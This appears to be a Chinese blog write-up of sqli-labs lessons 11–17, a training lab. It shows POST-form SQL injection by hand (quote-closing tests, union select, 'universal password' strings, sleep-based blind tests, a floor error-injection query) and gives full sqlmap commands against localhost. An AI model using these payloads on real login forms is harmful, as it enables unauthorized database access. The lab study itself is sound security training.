• sqli-labs11-17(手注+sqlmap)


    这几关涉及到的都是post型data处注入,和get型的差别就是注入点的测试处不一样,方法都是一样的

    0x01 sqli-labs less-11

    1.手工

    由于是post型注入,那么我们不能在url处输入,我们在下面表单处输入数据,才是post型的data请求部分,也可以通过抓包,对data部分进行sql语句注入

    我们在username处输入1',password处任意输入,发现报sql语句错误

    那么username处存在sql注入,我们跟上注释 --+,发现回显报错,跟上#,发现回显正常,那么成功闭合

    ’order by 3#  报错,‘order by 2# 正常显示

    查询数据库’union select database(),2#

    后面操作跟第一关一样

    2.sqlmap注入

    用burp抓包,然后,sqlmap需跟上data部分的数据

    sqlmap语句:

    python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-11/?id=1" --data "uname=1&passwd=11&submit=Submit"
    --technique UES 
    --dbms mysql --dbs --threads 8

    其中的:

    --data:后面可以加上数据段(post/get类型的都是可以的)
    
    --threads:最大并发线程,盲注时每个线程获取一个字符(7此请求),获取完成后线程结束,默认为1,建议不要超过10,否则可能影响站点可用性

     这里不加--batch是有原因的,因为的有个选项要选择no

     不然很慢

    0x02 sqli-labs less-12

    1.手注

    用户名处输入1’,pssword处任意输入,没有报错,输入1“,报错,那么应该是双引号报错

    加上#注释,还是报错,没有闭合,看看报错信息发现有括号,

     

     那么加上括号,username为:1")#,密码任意输入,正确回显,然后试试union select,

     

     之后常规操作

    2.sqlmap注入

    将我们手工试出来的除了注释符的闭合规则(万能密码)填入到data里面相应的参数中

    python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-12/?id=1" --data "uname=")or ("1")=("1&passwd=1")or("1")=("1&submit=Submit" --technique US --dbms mysql --dbs --threads 8

    0x03 sqli-labs less-13

    1.手注

    闭合规则为:')#

    输入')union select 1,2#,发现没有显示位,但是有报错信息,因此采用floor报错注入

    后面报错注入的常规操作

    2.sqlmap注入

    需要在data中的两个参数输入注入规则的万能密码,破解更快

    python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-13/?id=1" --data "uname=‘)or(‘1‘)=(‘1 &passwd=‘)or(‘1‘)=(‘1&submit=Submit" --dbs --threads 8  --technique E --dbms mysql

    0x04 sqli-labs less-14

    1.手注

    输入”,报sql错误,输入“#成功闭合,因此闭合规则为:"#

    在规则里面写入union select 1,2,正确查询没有显示,只会报错,因此同样采用报错注入

    后面常规报错注入操作

    2.sqlmap注入

    python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-14/?id=1" --data "uname=1&passwd=1&submit=Submit" --dbs --threads 8 --technique E --dbms mysql

    0x05 sqli-labs less-15

    1.手注

    没有报错信息,试试1’and sleep(5)#也不行

    应该是要登录用户名正确才行,试试admin'and sleep(5)#,发现延时5秒

    参考第9关时间盲注的操作

    2.sqlmap注入

    python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-15/?id=1" --data "uname=admin'or'1'='1&passwd='or'1'='1&submit=Submit" --current-db --threads 8 --technique T
    或者
    python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-15/?id=1" --data "uname=admin&passwd=1&submit=Submit" --current-db --threads 8 --technique T

    0x06 sqli-labs less-16

    将闭合规则的‘换成“,后面操作同15关

    0x07 sqli-labs less-17

    1.手注

    单双引号在user name里面没有报错,那么看源码

    没有对password进行检查,但是先检查的是uname,因此我们用户名必须正确,这里选择爆破,爆出用户名。这里用户名是admin

    那么用户名处填入admin,密码处填入’报错,填入’#,正常显示,正常显示没有回显位,因此采用floor报错注入

    构造语句:’ and (select 1 from (select count(*),concat((database()),floor (rand(0)*2))x from information_schema.tables group by x)a)#

     后面报错注入的常规操作

    2.sqlmap注入

    python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-17/" --data "uname=admin&passwd=password&submit=Submit" --current-db --threads 8 --technique E

     

  • 相关阅读:
    linux解释器、内建和外建命令
    linux文件cat/tac/more/less/head/tail/find/vimdiff
    zk和eureka的区别(CAP原则)
    Hystrix断路器中的服务熔断与服务降级
    windows 查看端口被占用,解除占用
    JS中操作JSON总结
    Ajax请求($.ajax()为例)中data属性传参数的形式
    通过 Ajax 发送 PUT、DELETE 请求的两种实现方式
    feignclient发送get请求,传递参数为对象
    Spring Boot 和 Spring Cloud Feign调用服务及传递参数踩坑记录
  • 原文地址:https://www.cnblogs.com/-chenxs/p/11608911.html
Copyright © 2020-2023  润新知